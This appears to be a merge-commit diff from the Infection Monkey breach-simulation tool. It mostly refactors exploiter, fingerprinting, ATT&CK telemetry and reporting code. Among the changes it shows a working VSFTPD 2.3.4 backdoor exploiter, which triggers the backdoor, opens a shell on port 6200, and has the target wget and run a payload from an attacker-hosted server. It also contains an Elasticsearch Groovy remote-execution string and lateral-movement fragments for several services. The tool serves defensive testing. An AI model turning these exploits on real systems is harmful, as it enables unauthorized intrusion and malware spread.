Merge branch 'develop' into feature/325-notification-when-done

This commit is contained in:
Shay Nehmad 2019-06-12 19:32:29 +03:00
commit 6480cfe232
53 changed files with 4569 additions and 3723 deletions

View File

@ -8,3 +8,14 @@ class ScanStatus(Enum):
SCANNED = 1
# Technique was attempted and succeeded
USED = 2
# Dict that describes what BITS job was used for
BITS_UPLOAD_STRING = {"usage": "BITS job was used to upload monkey to a remote system."}
def format_time(time):
return "%s-%s %s:%s:%s" % (time.date().month,
time.date().day,
time.time().hour,
time.time().minute,
time.time().second)

View File

@ -0,0 +1,10 @@
# abstract, static method decorator
class abstractstatic(staticmethod):
__slots__ = ()
def __init__(self, function):
super(abstractstatic, self).__init__(function)
function.__isabstractmethod__ = True
__isabstractmethod__ = True

View File

@ -1,4 +1,4 @@
from abc import ABCMeta, abstractmethod
from abc import ABCMeta, abstractmethod, abstractproperty
import infection_monkey.config
from common.utils.exploit_enum import ExploitType
@ -13,9 +13,15 @@ class HostExploiter(object):
# Usual values are 'vulnerability' or 'brute_force'
EXPLOIT_TYPE = ExploitType.VULNERABILITY
@abstractproperty
def _EXPLOITED_SERVICE(self):
pass
def __init__(self, host):
self._config = infection_monkey.config.WormConfiguration
self._exploit_info = {}
self._exploit_info = {'display_name': self._EXPLOITED_SERVICE,
'vulnerable_urls': [],
'vulnerable_ports': []}
self._exploit_attempts = []
self.host = host
@ -37,6 +43,12 @@ class HostExploiter(object):
def exploit_host(self):
raise NotImplementedError()
def add_vuln_url(self, url):
self._exploit_info['vulnerable_urls'].append(url)
def add_vuln_port(self, port):
self._exploit_info['vulnerable_ports'].append(port)
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter

View File

@ -11,6 +11,8 @@ from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
import re
@ -27,6 +29,7 @@ class ElasticGroovyExploiter(WebRCE):
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Elastic search'
def __init__(self, host):
super(ElasticGroovyExploiter, self).__init__(host)
@ -58,6 +61,12 @@ class ElasticGroovyExploiter(WebRCE):
return False
return result[0]
def upload_monkey(self, url, commands=None):
result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands)
if 'windows' in self.host.os['type'] and result:
VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING).send()
return result
def get_results(self, response):
"""
Extracts the result data from our attack

View File

@ -21,6 +21,7 @@ LOG = logging.getLogger(__name__)
class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Hadoop'
HADOOP_PORTS = [["8088", False]]
# How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60

View File

@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = 'MSSQL'
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
LOGIN_TIMEOUT = 15

View File

@ -17,6 +17,8 @@ from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.utils import utf_to_ascii
from common.utils.exploit_enum import ExploitType
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
__author__ = 'hoffer'
@ -237,6 +239,7 @@ class RdpExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'RDP'
def __init__(self, host):
super(RdpExploiter, self).__init__(host)
@ -312,6 +315,9 @@ class RdpExploiter(HostExploiter):
client_factory.done_event.wait()
if client_factory.success:
if not self._config.rdp_use_vbs_download:
VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING).send()
self.add_vuln_port(RDP_PORT)
exploited = True
self.report_login_attempt(True, user, password)
break

View File

@ -4,7 +4,6 @@ import posixpath
import re
import time
from io import BytesIO
from os import path
import impacket.smbconnection
from impacket.nmb import NetBIOSError
@ -35,6 +34,7 @@ class SambaCryExploiter(HostExploiter):
"""
_TARGET_OS_TYPE = ['linux']
_EXPLOITED_SERVICE = "Samba"
# Name of file which contains the monkey's commandline
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
# Name of file which contains the runner's result
@ -51,6 +51,8 @@ class SambaCryExploiter(HostExploiter):
SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2"
# Monkey copy filename on share (64 bit)
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
# Supported samba port
SAMBA_PORT = 445
def __init__(self, host):
super(SambaCryExploiter, self).__init__(host)
@ -80,6 +82,11 @@ class SambaCryExploiter(HostExploiter):
trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash'])
if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result))
url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {'username': creds['username'],
'host': self.host.ip_addr,
'port': self.SAMBA_PORT,
'share_name': share}
self.add_vuln_url(url)
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
for share, fullpath in successfully_triggered_shares:
@ -89,6 +96,7 @@ class SambaCryExploiter(HostExploiter):
LOG.info(
"Shares triggered successfully on host %s: %s" % (
self.host.ip_addr, str(successfully_triggered_shares)))
self.add_vuln_port(self.SAMBA_PORT)
return True
else:
LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)

View File

@ -26,6 +26,7 @@ class ShellShockExploiter(HostExploiter):
}
_TARGET_OS_TYPE = ['linux']
_EXPLOITED_SERVICE = 'Bash'
def __init__(self, host):
super(ShellShockExploiter, self).__init__(host)
@ -143,7 +144,6 @@ class ShellShockExploiter(HostExploiter):
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
continue
return True
return False

View File

@ -17,6 +17,7 @@ LOG = getLogger(__name__)
class SmbExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'SMB'
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
@ -68,6 +69,8 @@ class SmbExploiter(HostExploiter):
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
self.host, user, password, lm_hash, ntlm_hash)
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
exploited = True
break
else:
@ -137,4 +140,6 @@ class SmbExploiter(HostExploiter):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, self.host, cmdline)
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
return True

View File

@ -22,6 +22,7 @@ TRANSFER_UPDATE_RATE = 15
class SSHExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', None]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'SSH'
def __init__(self, host):
super(SSHExploiter, self).__init__(host)
@ -81,6 +82,7 @@ class SSHExploiter(HostExploiter):
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
self.host, user, curpass)
exploited = True
self.add_vuln_port(port)
self.report_login_attempt(True, user, curpass)
break

View File

@ -21,6 +21,7 @@ DOWNLOAD_TIMEOUT = 300
class Struts2Exploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Struts2'
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host, None)

View File

@ -4,39 +4,34 @@
only vulnerable version is "2.3.4"
"""
import StringIO
import logging
import paramiko
import socket
import time
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.web_rce import WebRCE
from logging import getLogger
LOG = getLogger(__name__)
__author__ = 'D3fa1t'
FTP_PORT = 21 # port at which vsftpd runs
BACKDOOR_PORT = 6200 # backdoor port
RECV_128 = 128 # In Bytes
UNAME_M = "uname -m"
ULIMIT_V = "ulimit -v " # To increase the memory limit
UNLIMITED = "unlimited;"
USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
PASSWORD = b'PASS please' # Ftp Password
FTP_TIME_BUFFER = 1 # In seconds
FTP_PORT = 21 # port at which vsftpd runs
BACKDOOR_PORT = 6200 # backdoor port
RECV_128 = 128 # In Bytes
UNAME_M = "uname -m"
ULIMIT_V = "ulimit -v " # To increase the memory limit
UNLIMITED = "unlimited;"
USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
PASSWORD = b'PASS please' # Ftp Password
FTP_TIME_BUFFER = 1 # In seconds
class VSFTPDExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux']
_EXPLOITED_SERVICE = 'VSFTPD'
def __init__ (self, host):
def __init__(self, host):
self._update_timestamp = 0
super(VSFTPDExploiter, self).__init__(host)
self.skip_exist = self._config.skip_exploit_if_file_exist
@ -46,13 +41,13 @@ class VSFTPDExploiter(HostExploiter):
s.connect((ip_addr, port))
return True
except socket.error as e:
LOG.error('Failed to connect to %s', self.host.ip_addr)
LOG.error('Failed to connect to %s', self.host.ip_addr)
return False
def socket_send_recv(self, s, message):
try:
s.send(message)
return s.recv(RECV_128).decode('utf-8')
return s.recv(RECV_128).decode('utf-8')
except socket.error as e:
LOG.error('Failed to send payload to %s', self.host.ip_addr)
return False
@ -60,35 +55,35 @@ class VSFTPDExploiter(HostExploiter):
def socket_send(self, s, message):
try:
s.send(message)
return True
return True
except socket.error as e:
LOG.error('Failed to send payload to %s', self.host.ip_addr)
return False
def exploit_host(self):
LOG.info("Attempting to trigger the Backdoor..")
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
ftp_socket.recv(RECV_128).decode('utf-8')
if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
time.sleep(FTP_TIME_BUFFER)
self.socket_send(ftp_socket, PASSWORD + '\n')
ftp_socket.close()
LOG.info('Backdoor Enabled, Now we can run commands')
else:
LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr)
return False
LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr)
return False
LOG.info('Attempting to connect to backdoor...')
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
uname_m = str.encode(UNAME_M + '\n')
response = self.socket_send_recv(backdoor_socket, uname_m)
uname_m = str.encode(UNAME_M + '\n')
response = self.socket_send_recv(backdoor_socket, uname_m)
if response:
LOG.info('Response for uname -m: %s', response)
@ -96,7 +91,7 @@ class VSFTPDExploiter(HostExploiter):
# command execution is successful
self.host.os['machine'] = response.lower().strip()
self.host.os['type'] = 'linux'
else :
else:
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
src_path = get_target_monkey(self.host)
@ -109,8 +104,8 @@ class VSFTPDExploiter(HostExploiter):
# Create a http server to host the monkey
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
dropper_target_path_linux = self._config.dropper_target_path_linux
LOG.info("Download link for monkey is %s", http_path)
LOG.info("Download link for monkey is %s", http_path)
# Upload the monkey to the machine
monkey_path = dropper_target_path_linux
download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
@ -121,7 +116,7 @@ class VSFTPDExploiter(HostExploiter):
else:
LOG.error('Failed to download monkey at %s', self.host.ip_addr)
return False
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
@ -136,14 +131,13 @@ class VSFTPDExploiter(HostExploiter):
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
# Set unlimited to memory
run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
# we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
run_monkey = ULIMIT_V + UNLIMITED + run_monkey
run_monkey = str.encode(str(run_monkey) + '\n')
time.sleep(FTP_TIME_BUFFER)
if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
self.host, run_monkey)
return True
else:
return False

View File

@ -7,6 +7,8 @@ from infection_monkey.exploit import HostExploiter
from infection_monkey.model import *
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
__author__ = 'VakarisZ'
@ -207,13 +209,12 @@ class WebRCE(HostExploiter):
"""
for url in urls:
if self.check_if_exploitable(url):
self.add_vuln_url(url)
self.vulnerable_urls.append(url)
if stop_checking:
break
if not self.vulnerable_urls:
LOG.info("No vulnerable urls found, skipping.")
# We add urls to param used in reporting
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
def get_host_arch(self, url):
"""
@ -307,6 +308,7 @@ class WebRCE(HostExploiter):
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING).send()
resp = self.exploit(url, backup_command)
return resp

View File

@ -44,6 +44,7 @@ HEADERS = {
class WebLogicExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
def __init__(self, host):
super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
@ -67,6 +68,7 @@ class WebLogicExploiter(WebRCE):
except Exception as e:
print('[!] Connection Error')
print(e)
return True
def add_vulnerable_urls(self, urls, stop_checking=False):

View File

@ -17,6 +17,7 @@ LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)'
def __init__(self, host):
super(WmiExploiter, self).__init__(host)
@ -103,6 +104,8 @@ class WmiExploiter(HostExploiter):
if (0 != result.ProcessId) and (0 == result.ReturnValue):
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
self.add_vuln_port(port='unknown')
success = True
else:
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",

View File

@ -158,7 +158,7 @@ class InfectionMonkey(object):
finger.get_host_fingerprint(machine)
ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
})
'service_count': len(machine.services)})
# skip machines that we've already exploited
if machine in self._exploited_machines:
@ -186,11 +186,9 @@ class InfectionMonkey(object):
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
if self.try_exploiting(machine, exploiter):
host_exploited = True
VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
break
if not host_exploited:
self._fail_exploitation_machines.add(machine)
VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
if not self._keep_running:
break

View File

@ -1,4 +1,4 @@
from abc import ABCMeta, abstractmethod
from abc import ABCMeta, abstractmethod, abstractproperty
__author__ = 'itamar'
@ -14,10 +14,20 @@ class HostScanner(object):
class HostFinger(object):
__metaclass__ = ABCMeta
@abstractproperty
def _SCANNED_SERVICE(self):
pass
def init_service(self, services, service_key, port):
services[service_key] = {}
services[service_key]['display_name'] = self._SCANNED_SERVICE
services[service_key]['port'] = port
@abstractmethod
def get_host_fingerprint(self, host):
raise NotImplementedError()
from infection_monkey.network.ping_scanner import PingScanner
from infection_monkey.network.tcp_scanner import TcpScanner
from infection_monkey.network.smbfinger import SMBFinger
@ -26,4 +36,4 @@ from infection_monkey.network.httpfinger import HTTPFinger
from infection_monkey.network.elasticfinger import ElasticFinger
from infection_monkey.network.mysqlfinger import MySQLFinger
from infection_monkey.network.info import local_ips, get_free_tcp_port
from infection_monkey.network.mssql_fingerprint import MSSQLFinger
from infection_monkey.network.mssql_fingerprint import MSSQLFinger

View File

@ -20,6 +20,7 @@ class ElasticFinger(HostFinger):
"""
Fingerprints elastic search clusters, only on port 9200
"""
_SCANNED_SERVICE = 'Elastic search'
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
@ -35,7 +36,7 @@ class ElasticFinger(HostFinger):
url = 'http://%s:%s/' % (host.ip_addr, ES_PORT)
with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req:
data = json.loads(req.text)
host.services[ES_SERVICE] = {}
self.init_service(host.services, ES_SERVICE, ES_PORT)
host.services[ES_SERVICE]['cluster_name'] = data['cluster_name']
host.services[ES_SERVICE]['name'] = data['name']
host.services[ES_SERVICE]['version'] = data['version']['number']

View File

@ -10,6 +10,7 @@ class HTTPFinger(HostFinger):
"""
Goal is to recognise HTTP servers, where what we currently care about is apache.
"""
_SCANNED_SERVICE = 'HTTP'
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
@ -36,7 +37,7 @@ class HTTPFinger(HostFinger):
with closing(head(url, verify=False, timeout=1)) as req:
server = req.headers.get('Server')
ssl = True if 'https://' in url else False
host.services['tcp-' + port[1]] = {}
self.init_service(host.services, ('tcp-' + port[1]), port[0])
host.services['tcp-' + port[1]]['name'] = 'http'
host.services['tcp-' + port[1]]['data'] = (server,ssl)
LOG.info("Port %d is open on host %s " % (port[0], host))

View File

@ -16,7 +16,7 @@ class MSSQLFinger(HostFinger):
SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096
TIMEOUT = 5
SERVICE_NAME = 'MSSQL'
_SCANNED_SERVICE = 'MSSQL'
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
@ -63,7 +63,7 @@ class MSSQLFinger(HostFinger):
sock.close()
return False
host.services[self.SERVICE_NAME] = {}
self.init_service(host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT)
# Loop through the server data
instances_list = data[3:].decode().split(';;')
@ -71,12 +71,11 @@ class MSSQLFinger(HostFinger):
for instance in instances_list:
instance_info = instance.split(';')
if len(instance_info) > 1:
host.services[self.SERVICE_NAME][instance_info[1]] = {}
host.services[self._SCANNED_SERVICE][instance_info[1]] = {}
for i in range(1, len(instance_info), 2):
# Each instance's info is nested under its own name, if there are multiple instances
# each will appear under its own name
host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i]
host.services[self._SCANNED_SERVICE][instance_info[1]][instance_info[i - 1]] = instance_info[i]
# Close the socket
sock.close()

View File

@ -8,7 +8,6 @@ from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_
MYSQL_PORT = 3306
SQL_SERVICE = 'mysqld-3306'
LOG = logging.getLogger(__name__)
@ -16,7 +15,7 @@ class MySQLFinger(HostFinger):
"""
Fingerprints mysql databases, only on port 3306
"""
_SCANNED_SERVICE = 'MySQL'
SOCKET_TIMEOUT = 0.5
HEADER_SIZE = 4 # in bytes
@ -52,14 +51,13 @@ class MySQLFinger(HostFinger):
version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing
version = version[0]
host.services[SQL_SERVICE] = {}
self.init_service(host.services, SQL_SERVICE, MYSQL_PORT)
host.services[SQL_SERVICE]['version'] = version
version = version.split('-')[0].split('.')
host.services[SQL_SERVICE]['major_version'] = version[0]
host.services[SQL_SERVICE]['minor_version'] = version[1]
host.services[SQL_SERVICE]['build_version'] = version[2]
thread_id, curpos = struct_unpack_tracker(data, curpos, "<I") # ignore thread id
# protocol parsing taken from
# https://nmap.org/nsedoc/scripts/mysql-info.html
if protocol == 10:

View File

@ -1,11 +1,9 @@
import logging
import time
from common.network.network_range import *
from infection_monkey.config import WormConfiguration
from infection_monkey.network.info import local_ips, get_interfaces_ranges
from infection_monkey.model import VictimHost
from infection_monkey.network import HostScanner
from infection_monkey.network import TcpScanner, PingScanner
__author__ = 'itamar'
@ -66,7 +64,6 @@ class NetworkScanner(object):
def get_victim_machines(self, max_find=5, stop_callback=None):
"""
Finds machines according to the ranges specified in the object
:param scan_type: A hostscanner class, will be instanced and used to scan for new machines
:param max_find: Max number of victims to find regardless of ranges
:param stop_callback: A callback to check at any point if we should stop scanning
:return: yields a sequence of VictimHost instances

View File

@ -20,6 +20,9 @@ LOG = logging.getLogger(__name__)
class PingScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = ''
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
self._devnull = open(os.devnull, "w")

View File

@ -100,6 +100,8 @@ class SMBSessionFingerData(Packet):
class SMBFinger(HostFinger):
_SCANNED_SERVICE = 'SMB'
def __init__(self):
from infection_monkey.config import WormConfiguration
self._config = WormConfiguration
@ -112,7 +114,7 @@ class SMBFinger(HostFinger):
s.settimeout(0.7)
s.connect((host.ip_addr, SMB_PORT))
host.services[SMB_SERVICE] = {}
self.init_service(host.services, SMB_SERVICE, SMB_PORT)
h = SMBHeader(cmd="\x72", flag1="\x18", flag2="\x53\xc8")
n = SMBNego(data=SMBNegoFingerData())
@ -150,7 +152,6 @@ class SMBFinger(HostFinger):
host.os['version'] = os_version
else:
host.services[SMB_SERVICE]['os-version'] = os_version
return True
except Exception as exc:
LOG.debug("Error getting smb fingerprint: %s", exc)

View File

@ -14,6 +14,8 @@ LINUX_DIST_SSH = ['ubuntu', 'debian']
class SSHFinger(HostFinger):
_SCANNED_SERVICE = 'SSH'
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE)
@ -38,12 +40,13 @@ class SSHFinger(HostFinger):
banner = data.get('banner', '')
if self._banner_regex.search(banner):
self._banner_match(name, host, banner)
host.services[SSH_SERVICE_DEFAULT]['display_name'] = self._SCANNED_SERVICE
return
is_open, banner = check_tcp_port(host.ip_addr, SSH_PORT, TIMEOUT, True)
if is_open:
host.services[SSH_SERVICE_DEFAULT] = {}
self.init_service(host.services, SSH_SERVICE_DEFAULT, SSH_PORT)
if banner:
host.services[SSH_SERVICE_DEFAULT]['banner'] = banner

View File

@ -11,6 +11,9 @@ BANNER_READ = 1024
class TcpScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = 'unknown(TCP)'
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
@ -33,7 +36,7 @@ class TcpScanner(HostScanner, HostFinger):
self._config.tcp_scan_get_banner)
for target_port, banner in izip_longest(ports, banners, fillvalue=None):
service = tcp_port_to_service(target_port)
host.services[service] = {}
self.init_service(host.services, service, target_port)
if banner:
host.services[service]['banner'] = banner
if only_one_port:

View File

@ -16,7 +16,7 @@ class AttackTelem(object):
Default ATT&CK telemetry constructor
:param technique: Technique ID. E.g. T111
:param status: int from ScanStatus Enum
:param data: Other data relevant to the attack technique
:param data: Dictionary of other relevant info. E.g. {'brute_force_blocked': True}
"""
self.technique = technique
self.result = status

View File

@ -14,5 +14,5 @@ class VictimHostTelem(AttackTelem):
:param data: Other data relevant to the attack technique
"""
super(VictimHostTelem, self).__init__(technique, status, data)
victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr}
victim_host = {'domain_name': machine.domain_name, 'ip_addr': machine.ip_addr}
self.data.update({'machine': victim_host})

View File

@ -2,7 +2,7 @@ import os
import sys
import shutil
import struct
import datetime
from infection_monkey.config import WormConfiguration

View File

@ -33,8 +33,9 @@ from monkey_island.cc.services.database import Database
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.resources.pba_file_upload import FileUpload
from monkey_island.cc.resources.attack_telem import AttackTelem
from monkey_island.cc.resources.attack_config import AttackConfiguration
from monkey_island.cc.resources.attack.attack_telem import AttackTelem
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
from monkey_island.cc.resources.attack.attack_report import AttackReport
__author__ = 'Barak'
@ -133,6 +134,7 @@ def init_api_resources(api):
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
api.add_resource(AttackConfiguration, '/api/attack')
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
api.add_resource(AttackReport, '/api/attack/report')
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')

View File

@ -25,3 +25,14 @@ def is_db_server_up(mongo_url):
return True
except ServerSelectionTimeoutError:
return False
def get_db_version(mongo_url):
"""
Return the mongo db version
:param mongo_url: Which mongo to check.
:return: version as a tuple (e.g. `(u'4', u'0', u'8')`)
"""
client = MongoClient(mongo_url, serverSelectionTimeoutMS=100)
server_version = tuple(client.server_info()['version'].split('.'))
return server_version

View File

@ -6,6 +6,8 @@ import sys
import time
import logging
MINIMUM_MONGO_DB_VERSION_REQUIRED = "3.6.0"
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
if BASE_PATH not in sys.path:
@ -22,7 +24,7 @@ from monkey_island.cc.app import init_app
from monkey_island.cc.exporter_init import populate_exporter_list
from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.environment.environment import env
from monkey_island.cc.database import is_db_server_up
from monkey_island.cc.database import is_db_server_up, get_db_version
def main():
@ -31,10 +33,8 @@ def main():
from tornado.ioloop import IOLoop
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
while not is_db_server_up(mongo_url):
logger.info('Waiting for MongoDB server')
time.sleep(1)
wait_for_mongo_db_server(mongo_url)
assert_mongo_db_version(mongo_url)
populate_exporter_list()
app = init_app(mongo_url)
@ -55,5 +55,27 @@ def main():
IOLoop.instance().start()
def wait_for_mongo_db_server(mongo_url):
while not is_db_server_up(mongo_url):
logger.info('Waiting for MongoDB server on {0}'.format(mongo_url))
time.sleep(1)
def assert_mongo_db_version(mongo_url):
"""
Checks if the mongodb version is new enough for running the app.
If the DB is too old, quits.
:param mongo_url: URL to the mongo the Island will use
"""
required_version = tuple(MINIMUM_MONGO_DB_VERSION_REQUIRED.split("."))
server_version = get_db_version(mongo_url)
if server_version < required_version:
logger.error(
'Mongo DB version too old. {0} is required, but got {1}'.format(str(required_version), str(server_version)))
sys.exit(-1)
else:
logger.info('Mongo DB version OK. Got {0}'.format(str(server_version)))
if __name__ == '__main__':
main()

View File

@ -0,0 +1 @@
__author__ = 'VakarisZ'

View File

@ -0,0 +1,13 @@
import flask_restful
from flask import jsonify
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.services.attack.attack_report import AttackReportService
__author__ = "VakarisZ"
class AttackReport(flask_restful.Resource):
@jwt_required()
def get(self):
return jsonify(AttackReportService.get_latest_report()['techniques'])

View File

@ -8,6 +8,7 @@ from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.report import ReportService
from monkey_island.cc.services.attack.attack_report import AttackReportService
from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.services.database import Database
@ -58,5 +59,7 @@ class Root(flask_restful.Resource):
else:
if is_any_exists:
ReportService.get_report()
AttackReportService.get_latest_report()
report_done = ReportService.is_report_generated()
return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done)
return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done,
report_done=report_done)

View File

@ -18,6 +18,20 @@ class AttackConfig(object):
config = mongo.db.attack.find_one({'name': 'newconfig'})
return config
@staticmethod
def get_technique(technique_id):
"""
Gets technique by id
:param technique_id: E.g. T1210
:return: Technique object or None if technique is not found
"""
attack_config = AttackConfig.get_config()
for key, attack_type in attack_config['properties'].items():
for key, technique in attack_type['properties'].items():
if key == technique_id:
return technique
return None
@staticmethod
def get_config_schema():
return SCHEMA

View File

@ -0,0 +1,59 @@
import logging
from monkey_island.cc.services.attack.technique_reports import T1210, T1197
from monkey_island.cc.services.attack.attack_telem import AttackTelemService
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
TECHNIQUES = {'T1210': T1210.T1210,
'T1197': T1197.T1197}
REPORT_NAME = 'new_report'
class AttackReportService:
